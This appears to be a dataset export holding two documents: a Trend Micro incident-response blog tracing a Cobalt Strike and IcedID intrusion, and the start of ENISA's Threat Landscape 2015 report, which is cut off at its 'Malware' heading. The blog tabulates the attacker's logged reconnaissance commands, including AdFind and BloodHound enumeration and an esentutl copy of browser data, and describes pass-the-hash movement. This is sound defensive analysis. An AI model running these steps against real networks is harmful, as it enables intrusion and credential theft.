text
stringlengths 8
115k
|
---|
# Tracking Cobalt Strike: A Trend Micro Vision One Investigation
In late May, Trend Micro Managed XDR alerted a customer to a noteworthy Vision One alert on one of their endpoints. What followed was a deeper investigation that involved searching for other similarly infected endpoints and the confirmation of a Cobalt Strike detection. This blog will cover the tactics and steps we took during this investigation. The alert from one endpoint led to the collection of further evidence and clues that pointed to other infected endpoints, eventually revealing the root of the attack.
Cobalt Strike is a well-known beacon or post-exploitation tool that has been linked to ransomware families like Ryuk, DoppelPaymer, and Povlsomware. The Cobalt Strike variant used here follows its typical characteristics. However, this report focuses on the process of uncovering its tracks in order to fully contain and remove the malware.
## An overview of the investigation
We first uncovered several detections related to Cobalt Strike, accompanied by a machine learning detection later verified as IcedID. In such cases, the initial detections usually point to something big: the distribution of ransomware. In fact, we published a report on a similar case wherein we used Cobalt Strike to track a Conti ransomware campaign.
Before we delve into the details, we want to detail the process we followed in this investigation. It involved several interconnected steps that occurred simultaneously and repeatedly throughout the process. These steps are mainly:
- Creating an indicators of compromise (IOCs) list and observe for tactics, techniques, and procedures (TTPs) to check in the environment, which will be improved in the next items
- Checking the context of the generated alerts
- Examining the execution profile of the files related to the detection
- Collecting additional logs from the endpoint to correlate events
- Checking detections that occurred around the time range of the alerts
These steps allowed us to retrace the actions taken by the variant from a single endpoint and revealing the full extent and its origins.
It is important to note that we already provided the affected customer our initial response very early into the investigation, allowing them to start taking steps to contain the threat as we worked to fully reveal its extent.
## Initial detections, IOCs, and observed TTPs
As we had mentioned earlier, our investigation started when we noticed suspicious activity in one endpoint. For the purpose of this discussion, we shall label this endpoint as Endpoint-1, since this is where we encountered the first hints of an attack. We began our investigation from this endpoint to uncover the real entry point.
### Endpoint-1
Checking the alerts of Endpoint-1 revealed several important findings that sparked the investigation:
- AdFind.exe was downloaded in the Users\Public directory
- A Cobalt Strike detection occurred
- Mobsync.exe executed information gathering commands
First, let us narrow our focus on the suspicious process, mobsync.exe. Vision One’s Progressive RCA allowed us to pinpoint a possible infection vector that led to its execution. The process chain for Endpoint-1 started with a user executing a file named excel.exe, which then created a rundll32.exe. The rundll32.exe loaded a file named iroto.tio, leading to the execution of the aforementioned mobsync.exe, which is a legitimate MS tool hijacked via process hollowing.
Progressive RCA gave us the choice to expand the nodes to find additional indicators that might be useful to the investigation. In this case, we were interested in excel.exe, or the source; and mobsync.exe, which seemed like the final payload at that point.
Let us first turn our attention to the excel.exe, which we saw accessing two suspicious URLs: dharamdiwan[.]com and lenoirramosjr[.]com before proceeding to drop iroto.tio and loading the dropped file via rundll32.exe. Vision One’s Observed Attack Techniques (OAT) also showed the techniques used via excel.exe and its child processes, one of which is “MS Office Application Command Execution Via DDE.” Digging deeper in the Vision One console, we identified analysis-57909253.xlsx as the malicious XLS file that utilized DDE.
Going back to mobsync.exe revealed several other events. We summarize the activities done by this injected tool. It attempts a connection to the following IP addresses:
- 222[.]153[.]124[.]130
- 109[.]106[.]69[.]138
- 75[.]118[.]1[.]141
- 92[.]59[.]35[.]196
- 104[.]98[.]42[.]5
- 204[.]16[.]247[.]35 (madesecuritybusiness[.]com)
It also executed discovery/internal reconnaissance commands and spawned additional mobsync.exe processes.
| Date and Time (UTC) | Process |
|----------------------|---------|
| 5/26/2021 0:41 | whoami /all |
| 5/26/2021 0:41 | cmd /c set |
| 5/26/2021 0:41 | arp -a |
| 5/26/2021 0:41 | ipconfig /all |
| 5/26/2021 0:41 | net view /all |
| 5/26/2021 0:42 | nslookup -querytype=ALL -timeout=10 _ldap._tcp.dc._msdcs.[WORKGROUP] |
| 5/26/2021 0:42 | net share |
| 5/26/2021 0:42 | route print |
| 5/26/2021 0:42 | netstat -nao |
| 5/26/2021 0:42 | net localgroup |
| 5/26/2021 1:50 | C:\WINDOWS\SysWOW64\mobsync.exe |
| 5/26/2021 1:50 | C:\WINDOWS\system32\ping.exe -t 127.0.0.1 |
| 5/26/2021 1:58 | C:\WINDOWS\SysWOW64\mobsync.exe |
| 5/26/2021 1:58 | esentutl.exe /r V01 /l”C:\Users\[Endpoint-1-User]\AppData\Local\Microsoft\Windows\WebCache” /s”C:\Users\[ENDPOINT-1-USER]\AppData\Local\Microsoft\Windows\WebCache” /d”C:\Users\[ENDPOINT-1-USER]\AppData\Local\Microsoft\Windows\WebCache” |
| 5/26/2021 5:33 | C:\WINDOWS\SysWOW64\mobsync.exe |
| 5/26/2021 5:33 | C:\WINDOWS\system32\cmd.exe /C ping [ENDPOINT-4] |
We also identified Bloodhound and ADfind.exe hacking tools deployed in Endpoint-1. These tools can be used to extract information from the Active Directory.
| Date and Time (UTC) | Process |
|----------------------|---------|
| 5/26/2021 5:00 | C:\WINDOWS\system32\cmd.exe /C del 20210526145501_BloodHound.zip YmNhMTJiMzAtYTgxZi00ZWRmLWE2ZjctZTc3MDFiZGM2ODBj.bin |
| 5/26/2021 5:04 | C:\WINDOWS\system32\cmd.exe /C AdFind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName > [REDACTED].csv |
With Vision One and the Trend Micro Investigation Toolkit (TMIK), we were able to identify potential Pass-the-Hash (PtH) attacks that extract the password hash from the memory and then simply pass it through for authentication. If there are recent logins of high privilege accounts in the machine, then the password hash of these logins can be extracted by attackers to perform lateral movement to other networked systems. The event logs also showed a related entry for the PtH technique stating, “Found 4624 event logs with seclogo as process for ENDPOINT-1-USER.”
Aside from Endpoint-1, we also found several other endpoints where we identified Cobalt Strike detections. We specify another two here as they already contain the evidence, such as a list of IOCs and observed TTPs, that we needed to pinpoint “Patient Zero,” or the first machine to be infected by the malware.
### Endpoint-2
We will label another endpoint as Endpoint-2. Endpoint-2 is a machine that Vision One also alerted to have shown Cobalt Strike detection. Vision One’s Execution Profile for the file shows ntoskrnl.exe executing 49c4b8e.exe. This sequence of processes in the execution profile implies that the file was transferred via SMB, evidence of lateral movement which was stopped due to the detection.
## Hunting IOCs and TTPs
With all the findings from Endpoint-1 and Endpoint-2, we were able to observe for TTPs and create an IOC list that we can search across all the machines reporting to Vision One. This search was based on the following indicators:
- Filename and hashes of the detected files
- Suspicious behavior, such as excel.exe spawning rundll32.exe or mobsync.exe spawning cmd.exe
- Possible command and control (C&C) connections
- Compromised accounts used for lateral movement and are transferred files via SMB
- Detections that occurred around the time the alert occurred (commonly used time range is Last 7 days)
Searching the IOCs in the Vision One search app revealed several other machines related to this case. An example of such a machine is one that we labeled Endpoint-3. Similar to Endpoint-1, there were malware detections in the machine, where it blocked the execution of excel.exe that spawned rundll32.exe. There was also a machine learning detection related to the file iroto.tio. Finally, inspecting Workbench alerts showed an entry for Cobalt Strike.
Investigating Endpoint-3’s execution profile showed that the excel.exe process connected to the same suspicious domains that we mentioned earlier. It also created the file iroto.tio.
With a list of IOCs and TTPs we were able to look for other infected machines or endpoints and were also then capable of narrowing down Patient Zero.
## Locating Patient Zero
Since we know for sure that the threat started with an execution of excel.exe and the .xls file it opened, it is logical to assume that the attack started from an email attachment, which was the case here. The Vision One, Managed XDR team was able to eventually track down the entry point of this attack: a socially engineered spear phishing email sent to an internal user.
The threat actor made the email seem as if they were replying to an email the targeted user had sent them, thus making it appear as if they already had an existing conversation thread. They also used a forged sender email address so that the targeted user would think that the email came from a legitimate sender. The email contained a link to download a malicious archive file with the name of the targeted user.
Through Vision One, we were able to see that a few minutes after receiving the email, the targeted user forwarded the malicious email to another internal user. These results from Vision One matched with the email that Managed XDR had acquired, thus proving that the machine was Patient Zero and rounding out our investigation.
## Responding to the threat
The overall goal of the investigation was to get a full scope of the Cobalt Strike infection. This involved identifying the IOCs we can use to search for all the machines that were infected, as well as stopping the spread at the root.
All throughout the process we had been reporting to the affected customer, especially after the discovery of each of the affected endpoints. This is to quickly contain the spread of the malware variant. The response to this threat included the following, in no particular order:
- Isolation of affected endpoints as the investigation was being conducted
- Disabling/resetting the passwords of the user accounts that were used for lateral movement
- Collecting related artifacts to the threat and doing further analysis, which were also submitted for detection to improve coverage
- Blocking of domain/IP addresses related to the C&C of the threat
- Further monitoring of the environment to ensure that there’s no suspicious activity going on
Many of these steps were done simultaneous to the investigation, so as not to risk possible consequences and prevent the spread of the malware to other machines.
## Conclusion and recommendations
The result of the investigation demonstrated the importance of a multi-layered security approach in protecting the environment. This is crucial so that in case one layer of protection fails, another is present to keep the environment safe or at least limit the impact of an attack.
Prioritizing detections and combining different techniques can help in catching the threat and initiating a quick response. As this case reflects, preliminary security events should be taken seriously as they usually are the precursor to something bigger, such as breaches and ransomware attacks.
The investigation also highlights the incident response process for handling breaches and malicious activities. It emphasizes how threat response does not end upon the detection of a threat; an investigation is key to understanding a threat and preventing them from occurring again. Using acquired knowledge from previous attacks and boosting user awareness of common threats can improve the overall security posture of any environment. |
# ENISA Threat Landscape 2015
## About ENISA
The European Union Agency for Network and Information Security (ENISA) is a centre of network and information security expertise for the EU, its member states, the private sector, and Europe’s citizens. ENISA works with these groups to develop advice and recommendations on good practice in information security. It assists EU member states in implementing relevant EU legislation and works to improve the resilience of Europe’s critical information infrastructure and networks. ENISA seeks to enhance existing expertise in EU member states by supporting the development of cross-border communities committed to improving network and information security throughout the EU.
## Authors
Louis Marinos (louis.marinos@enisa.europa.eu), ENISA, Adrian Belmonte, ENISA (contribution Attack Vectors and SDN), Evangelos Rekleitis, ENISA (contribution Big Data).
## Contact
For contacting the authors please use isdp@enisa.europa.eu. For media enquiries about this paper, please use press@enisa.europa.eu.
## Acknowledgements
The author would like to thank the members of the ENISA ETL Stakeholder group: Paolo Passeri, Consulting, UK; Pierluigi Paganini, Chief Security Information Officer, IT; Paul Samwel, Banking, NL; Tom Koehler, Consulting, DE; Stavros Lingris, CERT, EU; Jart Armin, Worldwide coalitions/Initiatives, International; Thomas Häberlen, Member State, DE; Neil Thacker, Consulting, UK; Margrete Raaum, CERT, NO; Shin Adachi, Security Analyst, US; R. Jane Ginn, Consulting, US; Lance James, Consulting, US; Polo Bais, Member State, NL. Moreover, we would like to thank CYjAX for granting access pro bono to its cyber risk intelligence portal providing information on cyber threats and cyber-crime. Thanks go to ENISA colleagues who contributed to this work by commenting drafts of the report. Special thanks to Jakub Radziulis, iTTi and his colleagues for the support in information analysis.
## Legal notice
Notice must be taken that this publication represents the views and interpretations of the authors and editors, unless stated otherwise. This publication should not be construed to be a legal action of ENISA or the ENISA bodies unless adopted pursuant to the Regulation (EU) No 526/2013. This publication does not necessarily represent state-of-the-art and ENISA may update it from time to time. Third-party sources are quoted as appropriate. ENISA is not responsible for the content of the external sources including external websites referenced in this publication. This publication is intended for information purposes only. It must be accessible free of charge. Neither ENISA nor any person acting on its behalf is responsible for the use that might be made of the information contained in this publication.
## Copyright Notice
© European Union Agency for Network and Information Security (ENISA), 2015. Reproduction is authorised provided the source is acknowledged.
## Executive Summary
For yet another year, the 2015 edition of the cyber-threat landscape features a number of unique observations, the main one being the smooth advancement of maturity. Cyber-space stakeholders have gone through varying degrees of further maturity. While the friendly agents – the good guys – have demonstrated increased cooperation and orchestrated reaction to cyber-threats, hostile agents – the bad guys – have advanced their malicious tools with obfuscation, stealthiness, and striking power.
On the defenders’ side, improvements have been achieved in coordinated campaigns to disturb operations of malicious infrastructures, strengthen the legal/governmental cyber-defence framework, and develop more efficient products. In particular:
- Performing orchestrated actions to take down malicious infrastructure but also to analyse incidents and improve attribution.
- Strengthening governmental awareness, cyber-defence expenses, capabilities, and level of cooperation among states.
- Performing exercises, development of threat intelligence, proliferation of information sharing, tools, and products to enhance awareness, preparedness, and efficiency of defence.
- Focusing on research and development to accommodate developments of the cyber-threat landscape to existing protection measures and methods and tools.
Adversaries have achieved considerable advances too. No Snowden or Heartbleed-like events have been reported. Instead, cyber-threats have undergone significant evolution, and significant breaches have covered front pages of media. Cyber-threat agents have had the tranquillity and resources to implement a series of advancements in malicious practices. In particular:
- Performing persistent attacks based on hardware, far below the “radar” of available defence tools and methods.
- Achieving enhancements in the provision of “cyber-crime-as-a-service”, tool developments for non-experts, and affiliate programmes.
- Highly efficient development of malware weaponization and automated tools to detect and exploit vulnerabilities.
- Campaigning with highly profitable malicious infrastructures and malware to breach data and hold end-user devices to ransom.
- Broadening of the attack surface to include routers, firmware, and the Internet of Things.
Details for all the above-mentioned points can be found in the ENISA Threat Landscape 2015 (ETL 2015). Top 15 cyber-threats together with threat trends, trends of threat agents, and trends for emerging technologies have been assessed and presented in this report. This material delivers evidence upon which the consequences for the development of cyber-defences can be based.
Lessons learned and conclusions summarise our experience from this year’s threat landscape and draw a roadmap with aspects that need to be addressed in the future by policy, businesses, and research. An overview hereof is as follows:
### Policy conclusions:
- Make threat intelligence collection, management, and sharing an inherent part of the national cyber-defence capabilities.
- Foster voluntary reporting and perform analysis of reported incidents and recycle results for better planning of defences.
- Disseminate cyber-threat knowledge to all players in cyber-space, including end-users.
### Business conclusions:
- Simplify content of threat intelligence to achieve wider uptake in the stakeholder community.
- Elaborate on threat agent models and make it an inherent part of threat intelligence.
- Create correlated, contextualized threat information to increase timespan of relevance.
- Continuously adapt protection and detection tools to the threats.
- Invest in better vulnerability management and exploitation of the dark web.
### Research conclusions:
- Develop applied statistic models to increase comparability of cyber-threat and incident information.
- Develop new models for seamlessly operated security controls to be included in complex, smart end-user environments.
- Develop trust models for the ad hoc interoperability of devices within smart environments.
Finally, regarding the overall highlights for the future cyber-threat landscapes, one should mention two overarching trends for defenders and adversaries respectively:
- The need for “Streamlining and consolidation” of existing policies, defences, and cooperation to accommodate changes in the threat landscape.
- Ongoing activities towards “Consumerization of cyber-crime”, that is, making malicious tools available to everybody.
## Top Threats 2014 vs. 2015
| Top Threats 2014 | Assessed Trends 2013 | Top Threats 2015 | Assessed Trends 2014 | Change in ranking |
|-------------------|----------------------|-------------------|----------------------|-------------------|
| 1. Malicious code: Worms/Trojans | ↑ | 1. Malware | ↑ | → |
| 2. Web-based attacks | ↑ | 2. Web based attacks | ↑ | → |
| 3. Web application/Injection attacks | ↑ | 3. Web application attacks | ↑ | → |
| 4. Botnets | ↓ | 4. Botnets | ↓ | → |
| 5. Denial of service | ↑ | 5. Denial of service | ↑ | → |
| 6. Spam | ↓ | 6. Physical damage/theft/loss | ↓ | ↑ |
| 7. Phishing | ↑ | 7. Insider threat (malicious, accidental) | ↑ | ↑ |
| 8. Exploit kits | ↓ | 8. Phishing | ↓ | ↓ |
| 9. Data breaches | ↑ | 9. Spam | ↓ | ↓ |
| 10. Physical damage/theft/loss | ↑ | 10. Exploit kits | ↑ | ↓ |
| 11. Insider threat | ↓ | 11. Data breaches | ↓ | ↓ |
| 12. Information leakage | ↑ | 12. Identity theft | ↑ | ↑ |
| 13. Identity theft/fraud | ↑ | 13. Information leakage | ↓ | ↓ |
| 14. Cyber espionage | ↑ | 14. Ransomware | ↑ | ↑ |
| 15. Ransomware/Rogueware/Scareware | ↓ | 15. Cyber espionage | ↓ | ↓ |
**Legend:**
Trends: ↓ Declining, → Stable, ↑ Increasing
Ranking: ↑ Going up, → Same, ↓ Going down
## 1. Introduction
This report, the ENISA Threat Landscape 2015 (ETL 2015), is the result of an analysis of cyber-threats that have been encountered in the last 12 months, approximately between December 2014 and December 2015. ETL 2015 is the fourth in a series of reports issued yearly by ENISA. It provides an analysis of the state and the dynamics of the cyber-threat environment: the Cyber-Threat Landscape.
Just as previous threat landscape reports, ETL 2015 is the result of a comprehensive threat analysis that is based mainly on open source intelligence. The analysis is followed by a collation of threat information. In this process, cyber-incidents, cyber-threats, cyber-attacks, etc. are put in context by means of correlated information. This is cyber-threat intelligence that is being created within ENISA: an amount of knowledge on the development of cyber-threats created on an annual basis.
ETL 2015 is a significant part of this knowledge captured in the form of a report. It contains the top 15 cyber-threats assessed in 2015, together with information on threat agents, attack vectors, and threat trends for a number of emerging technologies. The information presented is accompanied by references to all relevant resources found. Though non-exhaustive, ETL 2015 includes a critical mass of published material that allows underpinning the assumptions made. At the same time, the collected material is a tool for interested individuals who need to deepen in the details of a certain matter presented in this report.
In the reporting period, material found on cyber-threats has increased in quantity, quality, and focus. This is due to the continuous improvement achieved in the area of threat intelligence and is a result of the increased demand and efforts invested, both by public and private organisations. In a similar manner as in ETL 2014, in ETL 2015 we have processed approximately 380 resources. This number is rather representative for the search and analysis effort at ENISA than the available resources worldwide, which were apparently much higher.
Besides open source information, in this report ENISA has used information provided by the MISP platform, by CERT-EU, and by also using threat intelligence from the cyber-security portal CYjAX, provided by means of access pro bono to ENISA. Confidential information found in these platforms has just been taken into account in our analysis without any disclosure or reference to this material.
In comparison to previous ETLs, some minor changes have been made in the structure of this report. They regard the description part of current threats. In particular, for each cyber-threat described, we attach a list of indicative mitigation controls, referred to as mitigation vector. This was a requirement communicated to us by stakeholders. Secondly, in 2015 kill chain information of the top 15 threats has not been adopted as it is identical with ETL 2014. To find information here, interested readers would need to revisit ETL 2014.
Just as in previous years, ENISA has consulted the ETL Stakeholder group that accompanies the threat analysis work. The group has provided valuable input, has supported the ENISA event on threat analysis organised in 2015, and has reviewed ENISA material. Their support has definitely contributed to the quality of the material presented in this report.
## Policy context
The Cyber Security Strategy of the EU underscores the importance of threat analysis and emerging trends in cyber security. The ENISA Threat Landscape contributes towards the achievement of objectives formulated in this strategy, in particular by contributing to the identification of emerging trends in cyber threats and understanding the evolution of cyber-crime. Moreover, the new ENISA Regulation mentions the need to analyse current and emerging risks (and their components), stating: “the Agency, in cooperation with Member States and, as appropriate, with statistical bodies and others, collects relevant information”. In particular, under Art. 3, Tasks, d), iii), the new ENISA regulations state that ENISA should “enable effective responses to current and emerging network and information security risks and threats”. The ENISA Threat Landscape aims to make a significant contribution to the implementation of the EU Cyber Security Strategy by streamlining and consolidating available information on cyber-threats and their evolution.
## Target audience
Information in this report has mainly strategic and tactical relevance to cyber-threats and related information. Such information has long-term relevance of approximately up to one year. It is directed to executives, security architects, and security managers. Nonetheless, provided information is also easily consumable by non-experts.
Looking at the details provided by this report and ETL in general, one can discriminate among the following information types and target groups:
- The method part targets security professionals who may seek to find out how threat information relates to other topics of information security and information security management. Provided information may allow them to deepen in issues of threat intelligence, threat information collection, and threat information analysis and/or find ways in integrating it with other security management disciplines.
- The current threat landscape is a compilation of information about top cyber-threats. At the level of the threat description, generalists and decision makers can find non-technical information about the cyber threats. By going through details, issues assessed, and sources related to the text, interested individuals and security experts might find detailed technical information.
- A generic description of cyber-threat agents explains developments in this area. This information is good for all readers, decision makers, security experts, and non-experts.
- The emerging threat landscape contains information for a wide range of skills. The chapter targets mainly security managers and security architects who would like to understand the trends ahead. The information provided is also potentially useful for decision makers as decision support information.
Besides these roles in the ETL target group, details provided on methodology, threats, issues, threat agents, attack vectors, and trends are useful for risk managers. This kind of information is essential input to any risk assessment process.
Besides the information in this report, there are “side products” that might be interesting for a wide audience. On the occasion of the ENISA High Level Event, ENISA has produced a leaflet with a consolidated high-level description of issues that resulted from this year’s threat assessment. This material targets decision makers from both policy and business. Another product of the ETL process is the ENISA threat taxonomy, a hierarchy of threats used as a point of reference to classify collected and processed information about threats and in particular cyber-threats. Finally, in 2015 ENISA has produced two detailed threat assessments in two sectors. These thematic landscapes have been issued for Big Data and Software Defined Networks / 5G and are published as separate reports.
## Structure of the document
The structure of ETL 2015 is as follows:
- Chapter 2 “Purpose, Scope and Method” provides some information regarding the threat analysis process as it is being performed within the ETL 2015. Moreover, it refers to the information structures as used within our threat analysis and provides some information on used definitions.
- Chapter 3 “Top Cyber-Threats: The Current Threat Landscape” is the heart of the ETL 2015 as it contains the top 15 cyber-threats assessed in 2015. It provides detailed information on the threat with references to all relevant resources found, trends assessed, and mitigation vectors for each threat.
- Chapter 4 “Threat Agents” is an overview of threat agents with short profiles and references to developments that have been observed for every threat agent group in the reporting period.
- Chapter 5 “Attack Vectors” provides information on typical attack scenarios, steps, and deployed cyber-threats and is supposed to complement the presented material by giving some initial information on the “How” of a cyber-attack.
- Chapter 6 “The Emerging Threat Landscape” indicates assessed technology areas that will impact the threat landscapes in the middle-term. Ongoing developments in those areas will influence the ways attackers will try to achieve their aims, but also the way defences are going to be implemented.
- Chapter 7 “Food for thought: Lessons Learned and Conclusions” is a summary of interesting issues encountered within the threat analysis and provides the conclusions of this year’s ETL.
## 2. Purpose, Scope and Method
In 2015, threat analysis and threat intelligence have gone through an impressive breakthrough, whereas the details of various aspects, phases, and purposes/use cases have been analysed and documented. This has been done by means of various reports issued by various states, organisations, and vendors. Threat intelligence in general has been considered as one of the key technologies in cyber-security. These facts underline the importance of threat intelligence and in particular threat analysis in the context of management of cyber-security incidents. Following this trend, many services, products, and practices have entered the market. Threat intelligence services in various degrees of “width and depth” have shown up.
Though quite massively deployed, threat intelligence is still a new area and as such, products and market are at an early maturity stage: both vendors and customers do not have common perceptions on the topic and how it can be integrated as service or product into the daily businesses. Moreover, there is a “spread” in existing offerings with regard to the kind of delivered information and protection offered on the one hand and on the other hand the customer prerequisites (e.g. technical and organisational). Nonetheless, predictions foresee a great potential for the threat intelligence market, reaching some 5 billion $ in 2020.
Research and development in the area of threat intelligence advances too. In the reporting period, we have assessed the initiation of important programmes in the area of threat intelligence and dynamic risk management both in Europe and the US.
While research and vendors are working on the state-of-the-art in the area of threat intelligence/threat analysis, ENISA has undertaken next steps for the improvement of methods used. This effort has run in parallel to the information collection and analysis tasks and aimed at the development of available practices. In particular, ENISA efforts have been concentrated in the following areas:
- Identification of the data structures used in the threat analysis process and threat landscaping: A data model of the information household of the entire process of collection, analysis, and description of cyber-threats, both for ETL and ENISA Thematic Landscapes has been developed.
- Creation of a threat taxonomy: Through the information collection and analysis activities of the previous years at ENISA, a threat taxonomy has evolved. This taxonomy is a multi-tool that can be used in all phases of threat analysis.
- Initial identification of graphical support for the presentation of cyber-threat information: Graphical elements for the representation of cyber-threats are an important issue that is currently addressed by market players in the threat analysis.
Results achieved in these areas will be briefly discussed in the forthcoming chapters. This information might help readers to better understand the scope of ENISA’s work, while at the same time providing information about the ENISA method. Information about the method may help interested parties in introducing threat analysis in their organisations. Such information may be used in multiple ways, such as being the basis for requirements analysis; used for the evaluation of tools; used for the evaluation of services; taken as good practice for adjustments of own practices, etc.
### Data structures used in the threat analysis process and threat landscaping
The information used within ENISA for threat landscaping has been identified in 2015 and has been represented by means of a data model. This is an initial step in order to create a data household of the entire information managed within the ENISA work, both regarding ETL but also the Thematic Landscapes, i.e. detailed threat landscapes in selected areas/technologies.
Although some of the data concerned have been created and maintained as distinct entities in the past, the entire ETL model has not been described as a whole. Yet, the identified ETL data model is comprehensive and covers all information, from the collection to the final documentation. The data model in its current form has been created in 2015 in an ex-post manner.
Knowing maintained data structures has manifold purposes: i) it clarifies the context and the interdependencies of used information, ii) it helps in defining storage structures of the information (e.g. tables/relations), iii) it clarifies data structures that can be imported/exported, and iv) it helps in understanding how own data correspond to other approaches. All these four steps are essential in advancing the maturity of the used approach.
In order to assess the level of “coverage” between this data model and STIX - a data format that is being widely used for threat information - we have made a comparison at the level of data models. The detailed comparison can be found in Annex A. With this information at hand, the interfaces between ENISA’s data and data from other threat intelligence sources can be defined (i.e. input/output data).
Finally, regarding the quality of produced cyber-threat information, it has to be underlined that the ETL is geared more towards strategic threat intelligence with some tactical parts, while thematic landscapes contain more tactical information. In short, strategic and tactical threat information is as follows:
- Strategic information is used within forecasts of the threat landscape and emerging technological trends in order to prepare organisations by means of assessments, prospective measures, and security investments, as well as adaptation of existing cyber security strategies. It is created and consumed by humans and has a life span of some months (ca. one year).
- Tactical information consists of condensed information describing threats and their components, such as threat agents, threat trends, emerging trends for various technological areas, risks to various assets, risk mitigation practices, etc. This information is important for stakeholders engaged in maintenance of security controls. It is created by humans and machines and has a life span of weeks/months.
### Threat taxonomy
Threat taxonomy is a classification of threats. The purpose of such a taxonomy is to establish a point of reference for threats encountered, while providing a possibility to shuffle, arrange, and detail threat definitions. To this extent, a threat taxonomy is a living structure that is being used to maintain a consistent view on threats on the basis of collected information.
The current version of ENISA Threat Taxonomy (ETT) has been developed over the past years as an internal tool used in the collection and consolidation of threat information. When collecting information on various threats, it is very convenient to store similar things together. To this extent, a threat taxonomy has been generated. It is worth mentioning that the initial structure has been updated/consolidated with various sources of threat information. Most of the threat information included was from existing threat catalogues in the area of information security and in particular risk management.
As until now the ETT has been used for collection and consolidation of cyber-threat information, only the cyber-threat part of the taxonomy has been maintained and developed further. Although all information security threat areas are part of the ETT, those that are not related to cyber have not evolved over time.
In 2015, ENISA has created a consolidated version of these threats, has added some short descriptions to these threats, and has decided to make this material publicly available as a spreadsheet. The figure below shows this taxonomy in the form of a mind map, together with some symbols indicating its possible use cases.
### Graphical support
Graphical support of threat landscapes, threat information, and threat intelligence is an area that has very large potential. In the reporting period, we have seen various approaches to visualization of threats, as vendors try to provide more user-friendly access/navigation options to threat information. Besides visualisations of threats by means of web applications, we have seen interesting interactive graphical approaches appearing on online versions of threat reports that certainly provide better readability/animation to the content of threat reports.
Though no extensive assessment has been done regarding available visualization approaches of threat intelligence tools/portals/information services, it seems that there is a general trend towards visualization of threat intelligence.
An interesting approach to the visualization of security and threat intelligence based on open source intelligence is Sinfonier. Being developed for security intelligence, this approach provides graphical elements and mechanisms for collection, analysis, and sharing of related information. As such, it seems particularly appropriate for threat information.
In 2015, ENISA has made some prototyping with graphical representation of strategic and tactical threat information. The prototype was based on the graph database Neo4j and its basic visual user interface. This effort will be continued in 2016 with the objective to visualize ETL information, whereas other technical options for the run-time environment will also be investigated.
### Used definitions
The definitions used are identical to the ones of ETL 2014. In order to visualize the relationships among all elements of risks, we use a figure taken from ISO 15408:2005. This figure has a level of granularity that is sufficient to illustrate the main elements of threat and risk mentioned in this report. The entities “Owner”, “Countermeasures”, “Vulnerabilities”, “Risks”, and partially “Assets” are not taken into account in the ETL. They appear in the figure in order to show their context with regard to threats. The notion of attack vector is being displayed in this figure and is covered in the present report. One should note that the entities threat agent and threat presented in the figure are further detailed through the ETL data model presented above. This is quite natural as these entities make up the kernel of ETL.
As regards risks, we adopt the definition according to the widely accepted standard ISO 27005: “Threats abuse vulnerabilities of assets to generate harm for the organisation”. In more detailed terms, we consider risk as being composed of the following elements: Asset (Vulnerabilities, Controls), Threat (Threat Agent Profile, Likelihood), and Impact.
## 3. Top Cyber-Threats: The Current Threat Landscape
### Content and purpose of this chapter
In this chapter, the current threat landscape 2015 is presented. It consists of fifteen top cyber-threats, assessed during information collection and analysis activities. The current threat landscape covers information material that has been made publicly available in the time period November 2014 to November 2015. This time window is referred to as the reporting period in the present report. For the sake of clarity, it should be noted that the sources analysed in this chapter are the ones detected via the ENISA open source intelligence gathering process. While non-exhaustive, they are considered as representative of the threats and incidents encountered during this period.
Following the trend of previous years, the material found online has increased. In the reporting period, numerous focused publications in important cyber-threats have been found. Examples are: insider threat, denial of service, data breaches, and identity theft. At the same time, our team won the impression that the area of mobile computing had shown some stagnation regarding the level of coverage; some reports conclude that (fortunately) the mobile vector has not met expectations of cyber-security experts and did not seem to be the preferred attack vector to breach user data. Instead, the attention of cyber-security experts has been drawn to incidents in the area of the Internet of Things and attacks at cyber-physical interfaces. These are definitely upcoming areas of concern for the cyber-security community.
In this reporting period, the cyber-security community has developed a better focus on particular areas of cyber-threats. Moreover, cyber-threat information and intelligence appears to become commonly maintained knowledge, especially at the level of cyber-threat information collection and dissemination organisations, such as CERTS. This increase in focus and maturity is very beneficial for all parties in the assessment of cyber-threats. Following this maturity, we have seen dedicated products for the mitigation of the assessed cyber-threats to start appearing in the market, such as web application firewalls.
It is indeed very fortunate to see threat analysis and assessment efforts converging with product development, thus leading to a robust, demand-driven market. This is one of the most interesting and positive observations in the reporting period: efforts invested in cyber-threat analysis and cyber-threat intelligence have led to interesting, well-shaped service and product offerings in the cyber-security market. This is a shift from a vendor-driven market to a demand-driven one. It remains to be seen how the market will further evolve and how it will accommodate the dynamics of the cyber-threat landscape.
As was the case in previous versions of the ETL, the threat prioritisation has been performed mainly by means of a combination of frequency of appearance/reference and number of incidents (i.e. “efficiency” of the threat). In some cases, for example, threats that were decreasing ranked higher or kept their position. This means that a higher efficiency of attacks based on this threat has been reported (e.g. botnets). In the reporting period, we have seen some reports classifying incidents according to impact and sector. This is a very useful classification that should be used by more vendors, as it covers aspects of incidents that are important for decision making within various sectors (i.e. caused costs and consequences).
The ETL 2015 has been developed without any particular business or infrastructure scenario in mind. As such, when used within a particular business environment, it is necessary to put ETL information in the context of that business area. Usually, this should be done by assessing the importance of business, as well as human and IT assets of the organisation. Based on this information, a risk assessment will provide evidence for the threat exposure of the assets at stake, hence allowing for a prioritization of the threats according to the environment of that business area. The cyber-threats discussed below serve as input to such a prioritisation.
The description of cyber threats consists of i) a short text explaining the whereabouts of the threat, ii) a list of findings, iii) the trend observed in the reporting period, iv) other related threats that are used in combination with a threat, and v) a list of authoritative resources. In an attempt to keep the size of this report moderate, in this year’s report the kill-chain information of each threat has not been included. It is identical to the previous year’s ETL. The description of each cyber-threat is followed by a short, indicative list of mitigation options. This list comprises an initial collection of controls, whose implementation would mitigate the threat, that is, reduce the exposure to the threat. This addition has been done after requirements communicated to ENISA by the reader community of ETL. In future ETL versions, this type of information might be more extensive.
This chapter is concluded by a visualized comparison between the current threat landscapes of the ETL 2014 and the ETL 2015. This will help readers to easily understand the changes of the current threat landscape in this time period.
### Malware
